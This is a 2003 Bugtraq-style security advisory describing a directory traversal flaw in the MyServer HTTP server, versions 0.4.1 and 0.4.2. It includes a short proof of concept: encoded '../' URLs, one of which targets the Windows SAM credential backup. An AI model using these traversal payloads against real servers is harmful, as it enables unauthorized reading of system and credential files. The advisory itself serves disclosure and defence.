MyServer HTTP Server Directory Traversal Vulnerability

Bugtraq ID:	7944
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 17 2003 12:00AM
Updated:	Jun 17 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to Ziv Kamir.
Vulnerable:	myServer myServer 0.4.2 myServer myServer 0.4.1
Not Vulnerable:

MyServer HTTP Server Directory Traversal Vulnerability

The MyServer HTTP server is prone to a file disclosure vulnerability. Encoded directory traversal sequences may be used to break out of the web root directory. Attackers may gain access to files that are readable by the web server as a result.

MyServer HTTP Server Directory Traversal Vulnerability

The following proof of concept has been provided:

http://www.example.com/%2e%2e/%2e%2e/%2e%2e
http://www.example.com/%2e%2e/%2e%2e/%2e%2ewinnt/repair/sam._
http://www.example.com/%2e%2e/logs
http://www.example.com/%2e%2e/system

MyServer HTTP Server Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

MyServer HTTP Server Directory Traversal Vulnerability

References:

• myServer Home Page (myServer)
  
• myServer - Remote Denial of Service ("morning_wood" )